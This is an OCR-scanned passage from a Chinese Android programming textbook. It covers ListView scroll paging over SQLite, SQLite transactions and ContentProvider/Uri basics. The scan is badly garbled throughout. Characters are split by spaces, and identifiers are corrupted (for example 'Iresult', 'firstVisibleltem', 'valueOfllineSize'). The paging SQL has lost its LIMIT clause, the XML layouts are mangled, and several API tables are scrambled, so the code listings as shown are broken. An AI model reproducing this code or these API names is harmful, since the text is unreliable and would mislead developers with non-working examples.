MytabCursor 类 的 find() 方 法 接收 keyWord、currentPage 和 lineSize 这 3 个 参数 后 再 进行 查询 的 
控制 。 


8.3.6 使 用 ListView 滑动 分 页 


在 程序 查询 中 ， 分 页 显示 数据 是 一 个 最 为 常用 的 功能 ， 而 在 Android 系统 中 , 用 户 可 以 通过 
ListView 读 取 滑动 分 页 数据 ， 当 用 户 将 ListView 滑动 到 底部 时 ， 系 统 可 以 自动 从 数据 表 中 向 下 
加 载 剩余 的 部 分 数据 。 本 节 就 将 实现 这 样 一 种 常见 操作 。 

要 想 实 现 这 种 滚动 刷新 的 操作 ， 最 关键 的 是 需要 一 个 滚动 监听 接口 (OnScrollListener) 的 事 
件 支 持 ， 此 接口 定义 如 下 : 

public interface AbsListView.OnScrollListener { 

// 用 户 进行 滚动 操作 ， 并 且 进行 了 向 上 或 向 下 滑动 的 滚动 方式 ， 进 行 自动 的 滑行 的 状态 标记 
public static final int SCROLL_STATE_FLING ; 
// 当 滚动 处 于 闲置 状态 时 的 状态 标记 
public static final int SCROLL_STATE_IDLE ; 
/用户 正 在 触摸 滚动 时 的 状态 标记 
public static final int SCROLL_STATE_TOUCH_SCROLL ; 
tr 
* 滚动 操作 时 触发 的 方法 
* @param view 滚动 的 ListView 组 件 
* @param firstVisibleltem 第 一 个 可 见 的 ListView 项 的 索引 
“@param visibleltemCount 所 有 可 见 的 ListView 项 的 个 数 
* @param totalltemCount ListView 中 的 全 部 项 
a 
public abstract void onScroll (AbsListView view, int firstVisibleltem, int visibleltemCount, 
int totalltemCount) ; 
的 
* 滚动 状态 发 生 改变 时 触发 
* @param view 滚动 的 ListView 组 件 
* @param scrollState 当前 的 滚动 状态 ， 与 本 接口 中 的 3 个 常量 相 匹配 
a 
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public abstract void onScrollStateChanged (AbsListView view, int scrollState) ; 


当 使 用 此 接口 监听 时 , 数据 的 刷新 操作 主要 在 onScrollStateChanged0 方 法 中 执行 , 主要 的 操 
作 流 程 为 ， 当 用 户 当前 浏览 的 记录 已 经 到 达 底 部 〈 所 有 的 数据 都 看 完 ) 并 且 停 止 滚动 操作 时 ， 
即 可 重新 加 载 新 的 数据 ， 即 加 载 下 一 页 的 数据 。 下 面 通过 一 段 具体 的 代码 说 明 ListView 分 页 操 
作 的 实现 ， 而 本 程序 实现 所 需要 的 代码 清单 如 表 8-18 所 示 。 


表 8-18 ListView 分 页 显示 代码 清单 


No. 代码 名 称 描述 

1 [MyDatabaseHelper java 负责 取得 数据 库 的 连接 对 象 ， 并 且 创 建 数据 表 ， 与 之 前 程序 代码 功能 一 致 
2 |Mytabcursorjava 完成 分 页 数据 查询 的 操作 类 ， 除 了 返回 查询 数据 之 外 ， 也 返回 全 部 记录 数 
3 [MysQLiteDemo java 旦 序 操作 的 Activity 主 类 
4 
5 


main.xml 旦 序 的 主体 布局 管理 器 ， 为 MySQLiteDemojava 类 提供 布局 支持 


ListView 列表 显示 所 需要 的 布局 管理 器 


【 例 8-48】 定义 数据 查询 类 一 一 MytabCursor.java 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.HashMap; 
import java.util.List; 
import java.util.Map; 
import android.database.Cursor; 
import android.database.sqlite.SQLiteDatabase; 
public class MytabCursor { 


private static final String TABLENAME = "mytab" ; /数据 表 名 称 
private SQLiteDatabase db = null ; l/SQLiteDatabase 
public MytabCursor(SQLiteDatabase db) { /| 构造 方法 
this.db = db ; // 接 收 SQLiteDatabase 
} 
public int getCount() { // 返 回 记录 数 
int count = 0; /保存 返回 结果 
String sql = "SELECT COUNT(id) FROM "+ TABLENAME ; /查询 SQL 
Cursor result = db.rawQuery(sql, null); /查询 
for (result.moveToFirst(); Iresult.isAfterLast(); result.moveToNext()) { 
count = result.getInt(0) ; // 取 出 查询 结果 
| 


return count ; 
} 
public List<Map<String,Object>> find(int currentPage, int lineSize) {  // 查 询 数据 表 
List<Map<String,Object>> all = new ArrayList<Map<String,Object>>() ;// 定 义 List 
String sql = "SELECT id,name,birthday FROM " + TABLENAME 
El 2 /查询 SQL 
String selectionArgs[] = new String[] { 
String.valueOf((currentPage - 1) * lineSize), 
String.valueOfllineSize) }; // 查 询 参数 
Cursor result = db.rawQuery(sql, selectionArgs); /查询 
for (result.moveToFirst(); Iresult.isAfterLast(); result.moveToNext()) { 


308 


入 


第 8 章 数据 存储 


Map<String,Object> map = new HashMap<String,Object>() ; 
map.put("id", result.getInt(0)); /取出 id 字段 的 内 容 
map.put("name", result.getString(1)); /取出 name 字段 的 内 容 
map.put("birthday", result.getString(2)); /取出 birthday 字段 的 内 容 


all.add(map); // 向 集合 保存 
} 
this.db.close() ; // 关 闭 数 据 库 连接 
return all ; 


} 


本 程序 主要 定义 了 两 个 方法 。 

getCount() 方 法 : 主要 查询 出 所 有 满足 条 件 的 记录 数 ， 使 用 COUNTO 函 数 ， 可 以 用 于 总 
页 数 的 计算 。 

回 find0 方 法 : 主要 功能 是 根据 用 户 给 出 的 两 个 分 页 参数 当前 页 currentPage 和 每 页 显示 
记录 lineSize) 查询 出 所 有 的 相关 数据 ， 并 将 数据 设置 到 List<Map<String,Object>> 集 合 
中 ， 以 在 ListView 中 显示 。 

【 例 8-49】 定义 Activity 程序 的 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/mylayout”" // 布 局 管理 器 ID， 程 序 中 使 用 
android:orientation="Vertica/” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 

</LinearLayout> 


在 本 布局 文件 中 ， 只 是 定义 了 一 个 线性 布局 管理 器 ， 而 以 后 要 进行 显示 的 ListView 组 件 ， 


将 通过 Activity 程序 动态 设置 。 


【 例 8-50】 定义 ListView 显示 的 表格 布局 管理 器 一 一 tab_info.xml 
<?xml version="1.0" encoding="utf-8"?> 


<TableLayout // 定 义 表格 布局 管理 器 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:layout_height="wrap_content’> // 布 局 管理 器 高 度 为 组 件 高 度 
<TableRow> // 定 义 表格 行 

<TextView /文本 显示 组 件 
android:id="@+id/id" // 组 件 ID， 程 序 中 使 用 
android:textSize="30px" /文字 大 小 为 30 像素 
android:layout_height= "wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:layout_width="50px"/> // 组 件 宽度 为 50 像素 

<TextView /文本 显示 组 件 
android:id="@+id/hname”" // 组 件 iD， 程序 中 使 用 
android:textSize="30px" /文字 大 小 为 30 像素 
android:layout_height= "wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:layout_width="130px"/> // 组 件 宽度 为 130 像素 

<TextView // 文 本 显示 组 件 
android:id="@+id/birthday”" // 组 件 ID， 程 序 中 使 用 
android:textSize="30px” // 文 字 大 小 为 30 像素 


android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 


309 


名 师 讲坛 一 一 Android 开发 实战 经 典 


android:layout_width="180px"/> /1/ 组 件 宽度 为 180 像素 
</TableRow> 
</TableLayout> 
本 程序 的 主要 功能 是 定义 ListView 组 件 的 表格 显示 布局 ， 所 有 从 数据 表 中 读 取出 来 的 数据 
都 直接 采用 此 布局 管理 器 进行 列表 的 显示 。 

【 例 8-51】 定义 Activity 程序 ， 进 行 分 页 显示 
package org.Ixh.demo; 
import java.util.List; 
import java.util.Map; 
import android.app.Activity; 
import android.database.sqlite. SQLiteOpenHelper; 
import android.os.Bundle; 
import android.view.Gravity; 
import android.widget.AbsListView; 
import android.widget.AbsListView.OnScrollListener; 
import android.widget.LinearLayout; 
import android.widget.LinearLayout.LayoutParams; 
import android.widget.ListView'; 
import android.widget.SimpleAdapter 
import android.widget. TextView; 
public class MySQLiteDemo extends Activity { 


MySQLiteDemo.java( 分 段 讲解 ) 


private SQLiteOpenHelper helper = null ; /数据 库 操作 

private LinearLayout mylayout = null ; // 定 义 布局 管理 器 
private ListView listView ; //ListView 组 件 
private int currentPage = 1 ; // 当 前 页 

private int lineSize = 15 ; // 每 页 显示 15 条 数据 
private int allRecorders = 0 ; /保存 全 部 记录 数 
private int pageSize = 1 ; /总 页 数 

private int lastltem = 0 ; /保存 最 后 一 个 记录 点 
private SimpleAdapter simpleAdapter = null; // 适 配器 

private LinearLayout loadLayout = null ; /定义 布局 管理 器 
private TextView loadlnfo = null ; // 定 义 提 示 文 本 
private List<Map<String, Object>> all = null ; /保存 适配器 数据 


private LayoutParams layoutParams = new LinearLayout.LayoutParams( 
LinearLayout.LayoutParams.FLL_PARENT 
LinearLayout.LayoutParams.WRAP_CONTENT); // 布 局 参数 


由 于 本 程序 需要 分 页 控制 ， 所 以 按照 分 页 控制 的 要 求 定 义 了 如 下 几 个 变量 。 

回 int currentPage: 当前 程序 所 在 页 ， 默 认为 第 1 页 ， 以 后 分 页 控制 时 ， 只 需要 修改 其 数 
值 即 可 达到 分 页 控制 。 

int lineSize: 每 页 显示 记录 的 长 度 ， 与 currentPage 一 起 进行 部 分 数据 的 读 取 。 

int allRecorders: 保存 所 有 的 数据 量 ， 通 过 MytabCursor 类 的 getCount0 方 法 取得 。 

回 intpageSize: 计算 当前 显示 的 总 页 数 。 


回 
回 


. /提示 
分 页 控制 程序 。 
如 果 读 者 对 于 分 页 控制 程序 不 清楚 ， 可 以 参考 《名 师 讲坛 一 一 Java Web 开发 实战 经 典 》 
“高 级 实战 篇 ”的 内 容 ， 其 中 有 详细 的 代码 讲解 。 
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除了 以 上 几 个 变量 之 外 ， 其 他 变量 的 作用 如 下 。 


回 intlastItem: 用 于 保存 ListView 的 最 后 一 项 的 索引 ， 这 样 可 以 判断 用 户 是 否 读 取 数 据 到 
了 结尾 ， 如 果 到 结尾 ， 则 继续 加 载 新 数据 。 

SQLiteOpenHelper helper: 用 于 取得 数据 库 连 接 对 象 。 

LinearLayout mylayout: 用 于 保存 main.xml 文件 中 定义 的 线性 布局 管理 器 ,而 ListView 
组 件 将 通过 此 布局 管理 器 添加 到 界面 中 显示 。 

ListView listView: 定义 ListView 视图 ， 主 要 功能 是 显示 所 有 读 取 出 来 的 数据 ， 并 且 实 
现 数据 的 滑动 分 页 。 

SimpleAdapter simpleAdapter: ListView 组 件 封装 数据 的 适配器 类 ， 以 后 将 通过 此 类 的 
notifyDataSetChanged() 方 法 进行 数据 显示 的 更 新 操作 。 

LinearLayout loadLayout: 添加 在 ListView 底部 的 提示 信息 (显示 “加 载 中 ...”) 布局 
管理 器 。 

TextView loadInfo: 定义 在 ListView 底部 的 提示 文本 信息 组 件 对 象 。 

List<Map<String, Object>> all: 保存 MytabCursor 中 的 find0) 方 法 的 返回 数据 ， 以 后 如 果 
有 新 的 数据 加 载 进 来 ， 直 接 向 此 集合 添加 后 ， 就 可 以 通过 SimpleAdapter 类 的 
notifyDataSetChanged() 方 法 添加 在 ListView 中 显示 。 

回 LayoutParams layoutParams: 添加 loadInfo 组 件 到 loadLayout 布局 时 所 指定 的 布局 参数 。 

@Override 

public void onCreate(Bundle savedInstanceState) { 

Super.onCreate(savedlnstanceState); // 父 类 onCreate() 
super.setContentView(R.layout.main); // 默 认 布 局 管理 器 
this.mylayout = (LinearLayout) super.findViewByld(R.id.mylayout) ; // 取 得 组 件 
this.loadLayout = new LinearLayout(this) ; // 定 义 线性 布局 管理 器 
this.helper = new MyDatabaseHelper(this) ; // 定 义 数据 库 辅 助 类 
this.loadInfo = new TextView(this) ; // 实 例 化 文本 组 件 
this.loadInfo.setText(" 数 据 加 载 中 ing..") ; // 定 义 文本 
this.loadInfo.setGravity(Gravity.CENTER) ; // 文 字 居 中 显示 
this.loadInfo.setTextSize(30.0f) ; // 设 置 显示 文字 大 小 
this.loadLayout.addView(this.loadlnfo, this.layoutParams); 。 // 增 加 新 组 件 
this.loadLayout.setGravity(Gravity.CENTER) ; /数据 居中 显示 
this.showAllData() ; /显示 数据 
this.pageSize = (this.allRecorders + this.currentPage - 1) 

/this.lineSize; // 求 出 总 页 数 


} 


onCreate() 方 法 中 ， 主 要 完成 的 功能 是 为 各 个 组 件 的 对 象 实例 化 ， 并 且 调 用 了 showAllData0) 
方法 ， 以 查询 出 全 部 记录 数 和 部 分 数据 ， 而 最 后 将 通过 公式 计算 出 本 程序 所 需要 的 页 数 ， 计 算 
页 数 的 作用 在 于 当 currentPage=pageSize 时 ， 不 再 从 数据 表 中 读 取 记录 。 


private class OnScrollListenerImpl implements OnScrollListener { 


@Override 
public void onScroll(AbsListView view, int firstVisibleltem, 
int visibleltemCount, int totalltemCount) { 
MySQLiteDemo.this.lastltem = firstVisibleltem + visibleltemCount - 1; 
} 
@Override 
public void onScrollStateChanged(AbsListView view, int scrollState) { 


311 


名 师 讲坛 一 一 Android 开发 实战 经 典 


} 


if (MySQLiteDemo.this.lastltem == MySQLiteDemo.this.simpleAdapter 
.getCount() // 当 前 记录 已 经 是 在 最 底部 
// 当 前 页 小 于 总 页 数 
&& MySQLiteDemo.this.currentPage < MySQLiteDemo.this.pageSize 


// 屏 幕 不 再 滚动 时 触发 
&& scrollState == OnScrollListener. SCROLL_STATE IDLE){ 
MySQLiteDemo.this.currentPage ++ ; /修改 当前 所 在 页 


MySQLiteDemo.this listView 
.setSelection(MySQLiteDemo.this.lastltem); /设置 显示 位 置 
MySQLiteDemo .this.appendData() ; // 刷 新 显示 数据 


} 


OnScrollListenerImpl 类 为 实现 ListView 分 页 的 关键 , 该 类 和 覆 写 了 OnScrollListener 接口 中 的 
方法 ， 这 两 个 方法 的 主要 作用 如 下 。 


回 


回 


onScroll0: 在 用 户 滚动 ListView 时 触发 ， 这 样 每 次 用 户 滑动 ListView 时 都 可 以 取得 当 
前 滑动 的 索引 项 是 否 已 经 是 最 后 一 项 的 内 容 。 

onScrollStateChanged0: 当 用 户 滑动 ListView 时 会 有 不 同 的 操作 状态 , 通过 此 方法 判断 
ListView 是 否 滑动 、 当 前 所 在 的 项 是 否 为 列表 的 最 后 一 项 以 及 是 否 还 有 记录 可 以 读 取 ， 
如 果 后 面 还 有 数据 可 以 加 载 , 并 且 已 经 达到 了 现在 显示 数据 的 底部 , 则 表示 可 以 继续 加 
载 新 的 数据 ， 而 在 加 载 新 数据 之 前 需要 修改 当前 页 的 变量 〈currentpage) ， 而 后 将 当前 
的 显示 索引 项 设置 为 上 一 页 的 最 后 一 项 的 索引 。 


private void showAllData(){ 


} 


this.helper = new MyDatabaseHelper(MySQLiteDemo.this) ; /实例 化 对 象 
this.listView = new ListView(MySQLiteDemo.this); /定义 ListView 
MytabCursor cur = new MytabCursor(this.helper 
.getReadableDatabase()) ; /数据 库 查 询 操作 

this.allRecorders = cur.getCount() ; /查询 全 部 记录 数 
this.all = cur.find(this.currentPage, this.lineSize); // 取 出 查询 数据 
this.simpleAdapter = new SimpleAdapter (this ， 

all, // 将 数据 包装 

R.layout.tab_info, /| 每 行 显示 一 条 数据 

new String[] { "id", "name","birthday" } ， /设置 组 件 的 字段 

new int[] { R.id.id, R.id.name, R.id.birthday }); // 实 例 化 适配器 对 象 
this.listView.addFooterView(MySQLiteDemo.this.loadLayout) ; // 增 加 一 个 标注 
this.listView.setAdapter(this.simpleAdapter); /设置 显示 数据 
thislistView.setOnScrollListener(new OnScrollListenerImpl()) ; // 设 置 滚动 监听 
MySQLiteDemo.this.mylayout.addView(this .listView); // 追 加 组 件 


showAlIData() 方 法 的 主要 功能 是 从 表 中 读 取 数据 ， 并 且 将 这 些 数 据 设置 到 ListView 进行 显 
示 , 由 于 本 程序 需要 在 列表 的 最 后 使 用 一 个 “加 载 中 …” 的 提示 信息 , 所 以 使 用 addFooterView0 
方法 将 提示 信息 追加 到 了 列表 之 中 。 需 要 注意 的 是 ，addFooterView() 一 定 要 在 setAdapter() 方 法 
之 前 调用 ， 否 则 程序 将 出 现 错误 。 
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private void appendData(){ // 追 加 新 数据 
MytabCursor cur = new MytabCursor(this.helper 
.getReadableDatabase()) ; // 数 据 库 查询 操作 


List<Map<String, Object>> newData = cur.find(this.currentPage, 
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this.lineSize); // 取 出 查询 数据 
this.all.addAll(newData) ; // 追 加 数据 
this.simpleAdapter notifyDataSetChanged() ; // 更 新 记录 通知 


} 


} 

用 户 每 次 读 取 新 数据 时 ， 都 要 向 已 有 的 List 集合 追加 ， 而 当 List 集合 的 内 容 改 变 之 后 ， 就 
可 以 通过 SimpleAdapter 类 的 notifyDataSetChanged() 方 法 通知 ListView 集合 数据 已 经 改变 , 需要 
重新 加 载 显 示 ， 本 程序 的 运行 效果 如 图 8-36 所 示 。 


7 提示 

本 程序 有 待 完善 。 

使 用 过 ListView 分 页 的 读者 应 该 清楚 ， 当 读 取 数 据 时 ， 除 了 要 提示 “加 载 中 ...” 的 文字 
信息 之 外 ， 还 需要 一 个 ProgressBar ( 进度 条 ) 组 件 ， 以 提示 用 户 正 在 处 理 ， 而 该 组 件 将 在 第 
9 章 中 讲解 ， 读 者 学 习 完 后 可 以 自行 将 此 组 件 加 入 到 本 程序 中 。 
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图 8-36 ”ListView 滑动 分 页 
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8.3.7 事务 处 理 


在 SQLite 操作 中 也 是 支持 事务 处 理 的 ， 而 事务 处 理 主要 使 用 android.database.sqlite. 
SQLiteDatabase 类 中 的 如 下 3 个 方法 。 

加 ”开始 事务 : public void beginTransaction()。 

加 提交 更 新 或 回 深 事 务 : public void setTransactionSuccessful()。 

回 ”结束 事务 : public void endTransaction()。 

下 面 建立 一 个 新 的 MytabTransaction java 类 ， 在 增加 操作 上 演示 事务 的 处 理 过 程 。 

【 例 8-52】 事务 处 理 
package org.Ixh.demo; 
import android.database.sqlite.SQLiteDatabase; 
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public class MytabTransaction { 


private static final String TABLENAME = "mytab" ; /| 数据 表 名 称 
private SQLiteDatabase db = null ; JSQLiteDatabase 
public MytabTransaction(SQLiteDatabase db) { // 构 造 方法 

this.db = db; /接收 SQLiteDatabase 
public void insertBatch() { 

this.db.beginTransaction() ; // 开 始 事务 

try{ 


this.db.execSQL("INSERT INTO "+ TABLENAME 
+" (name,birthday) VALUES (?,?)", new Objectl{ "李兴华 "， 
"1989-09-12" }); /执行 SQL 语句 
this.db.execSQL("INSERT INTO "+ TABLENAME 
+" (id,name,birthday) VALUES (?,?)", new Object[ { " 魔 乐 科技 "， 
"1000-09-12" ); /执行 SQL 语句 
this.db.execSQL("INSERT INTO "+ TABLENAME 
+" (name,birthday) VALUES (?,?)", new Object { " 董 鸣 楠 "， 


"1982-08-03" }); // 执 行 SQL 语句 
this.db.setTransactionSuccessful() ; /正确 执行 ， 不 执行 则 回 滚 
} catch (Exception e){ 
} finally { 
this.db.endTransaction() ; // 结 束 事务 
this.db.close(); /关闭 数据 库 操作 


} 
} 


本 程序 只 列 出 了 事务 处 理 的 操作 部 分 ， 可 以 发 现 ， 在 整个 程序 中 ， 事 务 处 理 使 用 了 几 个 核 
心 的 操作 方法 ， 而 本 程序 中 执行 的 第 二 条 插入 语句 有 错误 〈 插 入 的 SQL 多 了 一 个 id 字段 , 这 不 


符合 SQL 语法 ， 所 以 有 错 ) ， 这 样 在 执行 插入 时 由 于 不 能 执行 setTransactionSuccessful0) 方 法 ， 


所 以 无 法 进行 更 新 的 事务 提交 ， 所 有 的 操作 都 将 失败 。 


8.4 ContentProvider 


8.4.1 ”ContentProvider 简介 


在 Android 中 , 每 一 个 应 用 程序 的 数据 都 是 采用 私有 的 形式 进行 操作 的 , 不 管 这 些 数据 是 


文件 还 是 数据 库 保 存 ， 都 不 能 被 外 部 应 用 程序 所 访问 。 但 是 在 很 多 情况 下 ， 用 户 需要 可 以 在 直 


-个 
| 


同 的 应 用 程序 之 间 进 行 交 换 的 数据 ， 所 以 为 了 解决 该 问题 ， 在 Android 中 专门 提供 了 


Ny 
ContentProvider 所 制定 的 标准 被 外 部 所 操作 ， 如 图 8-37 所 示 。 
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ContentProvider 类 , 此 类 的 主要 功能 是 将 不 同 的 应 用 程序 的 数据 操作 标准 统一 起 来 , 并 且 将 各 个 
程序 的 数据 操作 标准 表明 给 其 他 应 用 程序 ， 这 样 ， 一 个 应 用 程序 的 数据 就 可 以 按照 
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图 8-37 ”ContentProvider 的 操作 流程 


FE f 
/提示 
ContentProvider 的 操作 类 似 于 Web Services (Web 服务 ) 。 
ContentProvider 的 主要 作用 是 在 不 同 的 应 用 程序 之 间 进 行 数据 交换 ， 而 这 一 实现 类 似 于 
Web Services 技术 ， 但 是 比 Web Services 更 方便 理解 。 


android.content.ContentProvider 类 主要 是 制定 数据 的 操作 标准 ， 而 这 些 操作 标准 都 在 
ContentProvider 类 中 明确 地 通过 方法 进行 定义 ， 常 用 的 操作 方法 如 表 8-19 所 示 。 
表 8-19 ContentProvider 类 常用 的 操作 方法 


No| 方法 名 称 | 类 型 描 述 
1 当 启动 此 组 件 时 调用 
public abstract int delete(Uri uri, String selection,| =,, 根据 指定 的 Uri 删除 数据 , 并 返回 删除 数 
ing ionArg ”| 据 的 行 数 
3 返回 Context 对 象 
4 根据 指定 的 Uri, 返回 操作 的 MIME 类 型 
public abstract Uri insert(Uri uri, ContentValues 普通 机 eh ee 0 附带 


和 

有 新 数据 的 过 

publie abstract Cursor query(Un um，Sting0| | 根据 指定 的 Uri 执行 查询 操作 ,所 有 的 查 
6 |projection, String selection, String[] selectionArgs,| 百 询 结果 通过 Cursor 对 象 返回 


根据 指定 的 Uri 进行 数据 的 更 新 操作 , 并 
返回 更 新 数据 的 行 数 


可 以 发 现 ， 在 使 用 ContentProvider 类 进行 数据 操作 时 (insert()、update0 等 ) ， 都 采用 Uri 
的 形式 进行 数据 的 交换 ， 如 图 8-38 所 示 给 出 了 一 个 Uri 的 地 址 格式 。 


content://org.lxh.demo.membercontentprovider/member/3 
EE] EE] 
A B C 
图 8-38 ”Uri 的 地 址 格式 


此 Uri 由 3 部 分 组 成 ， 介 绍 如 下 。 
(1) A 部 分 (协议 ) 
ContentProvider (内容 提 供 者 ) 访问 协议 ， 已 经 由 Android 规定 为 content://。 


(2) B 部 分 (主机 名 或 Authority) 
用 于 唯一 标识 ContentProvider, 外 部 调用 者 可 以 根据 该 标识 来 找到 它 , 一 般 都 为 程序 的 “ 包 . 


SU 
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类 ”名 称 ， 但 是 要 采用 小 写字 母 的 形式 表示 。 
(3) C 部 分 (Path) 

访问 的 路 径 ， 一 般 为 要 操作 的 数据 表 的 名 称 ， 根 据 操作 的 不 同 可 以 分 为 如 下 几 种 情况 。 

G@ 访问 全 部 数据 : content://Authority/Path。 例如 , 访问 member 表 的 全 部 数据 : content/org. 
lxh.demo.membercontentprovider/member/。 

@ 根据 ID 访问 数据 : content://Authority/Path/ID。 例如 , 访问 member 表 中 ID 为 3 的 数据 : 
content://org.lxh.demo.membercontentprovider/member/3。 

@ 访问 某 一 条 记录 的 某 个 字段 : content:// 访 问 标识 / 表 名 称 /ID/ 列 名 称 。 例 如 ,访问 member 
表 第 3 条 记录 name 数据 : content://org.lxh.demo.membercontentprovider/member/3/name。 


mm 


/提示 
关于 Uri 的 更 多 内 容 请 参考 Android 的 开发 文档 。 
考虑 到 篇 幅 以 及 实用 性 的 问题 ， 本 书 只 列 出 了 部 分 Uri 的 操作 形式 ， 如 果 读者 想 了 解 更 
多 有 关于 这 方面 的 内 容 ， 可 以 直接 参考 android.content.UriMatcher 类 的 帮助 文档 信息 。 在 开 
“发 中 ， Uni 最 常用 的 功能 有 两 种 : 查询 全 部 数据 和 按 ID 查询 。 


由 于 所 有 的 地 址 都 是 以 字符 串 的 形式 出 现 的 ， 所 以 在 Android 中 ， 进 行 ContentProvider 调 
时 都 需要 依靠 androidnetUri 类 对 字符 串 的 地 址 进行 封装 后 才 可 以 访问 , 此 类 所 提供 的 常用 操 
作 方 法 如 表 8-20 所 示 。 


表 8-20 Uri 类 常用 的 操作 方法 


方法 名 各 
对 字符 中 进行 编码 
对 编码 后 的 字符 囊 进行 解码 

ic static Uri fromPile(Fi 普通 


将 给 出 的 字符 串 地 址 变 为 Uri 对 象 

ContentProvider 在 程序 操作 中 所 提供 的 是 一 个 操作 的 标准 , 所 以 如 果 要 想 依靠 此 标准 进行 
数据 操作 ， 必 须 使 用 android.content.ContentResolver 类 完成 ， 而 该 类 中 所 给 出 的 操作 方法 与 
ContentProvider 是 一 一 对 应 的 ， 当 用 户 调用 ContentResolver 类 的 方法 时 ， 实 际 上 就 相当 于 调 
j 了 ContentProvider 类 中 的 对 应 方法 ,如 图 8-39 所 示 , ContentResolver 类 的 常用 方法 如 表 8-21 
所 示 。 


A 系统 : B 系 统 
时 
6 办 2 eR e 5 汪 已 至 ] = 
全 Contentprovider 
| insert() 1 insert() 
操作 标准 ， deletel) H 和 操作 标准 delete() 
一 > updatel) : Lm 一 > updatel) 


query(  “ queryl) 


图 8-39 ”ContentResolver 的 作用 
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表 8-21 ContentResolver 类 常用 的 操作 方法 


No. 方法 名 称 描述 
public final int delete(Uri url, String where, 调用 指定 ContentProvider 对 象 中 的 
String[] selectionArgs) delete0 方 法 
调用 指定 ContentProvider 对 象 中 的 
2 |public final String getType(Uri ur) 日 下 | entProvider 对 象 
getType0 方 法 


public final Uri insert(Uri url, ContentValues 
values) 


调用 指定 ContentProvider 对 象 中 的 
insert0 方 法 


public final Cursor query(Uri uri, String[] 调用 指定 ContentProvider 对 象 中 的 


4 |projection, String selection, String[] selectionArgs, 本 
query0 方 法 


String sortOrder 


public final int update(Uri uri, ContentValues 
values, String where, String[] selectionArgs) 


调用 指定 ContentProvider 对 象 中 的 
update0 方 法 


表 8-21 只 是 列 出 了 ContentResolver 类 的 部 分 常用 方法 ， 可 以 发 现 这 些 方 法 的 作用 与 
ContentProvider 类 中 定义 的 操作 标准 是 一 样 的 ， 但 由 于 ContentResolver 是 一 个 抽象 类 ， 所 以 要 
想 取得 ContentResolver 类 的 实例 化 对 象 进行 操作 ， 需 要 依靠 android.app.Activity 类 中 的 方法 ， 
此 方法 如 表 8-22 所 示 。 


表 8-22 Activity 类 对 ContentResolver 类 的 操作 方法 


| 方法 名 称 | 类 型 | 


public ContentResolver getContentResolverO 取得 ContentResolver 类 的 对 象 


清楚 了 ContentResolver、ContentProvider 和 Uri 类 的 作用 之 后 ， 下 面 再 来 看 两 个 Uri 的 辅助 
操作 类 : ContentUris 类 和 UriMatcher 类 。 

所 有 的 数据 都 要 通过 Uri 进行 传递 ， 下 面 以 增加 操作 为 例 。 当 用 户 执行 完 增加 数据 操作 后 ， 
往往 需要 将 增加 后 的 数据 ID 通过 Uri 进行 返回 , 当 接收 到 该 Uri 时 , 就 需要 从 中 取出 增加 的 ID， 
为 了 方便 取出 数据 的 操作 ,在 Android 中 又 提供 了 一 个 android.content.ContentUris 的 辅助 工具 类 ， 
帮助 用 户 完成 Uri 的 若干 操作 ，ContentUris 类 的 常用 方法 如 表 8-23 所 示 。 


表 8-23 ”ContentUris 类 的 常用 操作 方法 


No. 方法 名 称 型 描 述 
public static long parseId(Uri contentUri) 普通 | 从 指定 的 Uri 中 取出 ID 
public static Uri withAppendedId(Uri contentUri, long id) | 普通 | 在 指定 的 Uri 之 后 增加 ID 参数 


另外 , 由 于 在 使 用 ContentProvider 类 操作 某 一 个 方法 时 可 能 要 传递 多 种 Uri, 例 如 ,以 query() 
方法 为 例 ， 有 可 能 表示 查询 全 部 ， 有 可 能 表示 按 ID 查询 ， 所 以 必须 对 这 些 传递 的 Uri 进行 判断 
后 才 可 以 决定 最 终 的 操作 形式 , 为 了 方便 用 户 的 判断 ,专门 提供 了 android.content.UriMatcher 类 
进行 Uri 的 匹配 ， 此 类 的 常用 操作 方法 如 表 8-24 所 示 。 
表 8-24 UriMatcher 类 的 常用 操作 方法 
方法 或 常量 名 称 描述 
public static final int NO_MATCH 常 表示 一 个 -1 的 整 型 数据 ， 在 实例 化 对 象 时 使 用 
public UriMatcher(int code) i 实例 化 UriMatcher 类 对 象 
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方法 或 常量 名 称 描述 
public void addURI(String authority， 


。 > 增加 一 个 指定 的 URI 地 址 
String path, int code) 


与 传 入 的 Uri 进行 比较 ， 如 果 匹 配 成 功 ， 则 返 
可 相应 的 code， 如 果 匹 配 失败 则 返回 -1 

以 上 所 给 出 的 几 个 核心 操作 类 是 用 户 开发 及 使 用 ContentProvider 中 必须 要 使 用 到 的 类 ， 下 
面 将 通过 若干 程序 演示 如 何 开 发 ContentProvider 程序 。 


public int match(Uri un) 


8.4.2 ”开发 ContentProvider 程序 


为 了 更 好 地 帮助 用 户 理解 ContentResolver、ContentProvider、Uri、ContentUris 和 UriMatcher 
等 类 的 作用 ， 下 面 将 手工 实现 一 个 ContentProvider 的 程序 。 


- 


/提示 
本 代码 不 作为 重点 。 
ContentProvider 类 的 开发 比较 困难 ， 而 且 其 中 所 涉及 的 类 比较 多 ， 最 重要 的 是 用 户 开发 
这 样 的 程序 是 比较 少见 的 ， 本 部 分 内 容 只 是 帮助 读者 巩固 基础 知识 ， 如 果 觉 得 有 困难 ， 也 可 
以 不 用 学 习 此 部 分 程序 ， 因 为 在 开发 中 往往 只 会 使 用 Android 系统 中 已 经 为 用 户 开 发 好 的 
ContentProvider， 用 户 只 需要 懂得 通过 Uri 操作 这 些 ContentProvider 即 可 。 


本 程序 所 完成 的 操作 是 mldn 数据 库 中 的 member 表 的 CRUD 操作 ,member 表 的 结构 如 表 8-25 
所 示 。 


表 8-25 mldn.member 表 的 结构 


member - - - 
_ 过 integer <pk> id， 自 动 增长 
name VARCHAR (50) 姓名 
age NTEGER Pe 
birthday DATE 年 龄 


表 8-25 所 示 的 member 表 的 结构 所 使 用 的 都 是 基本 的 数据 类 型 , 主键 列 依然 设置 为 自动 增长 。 
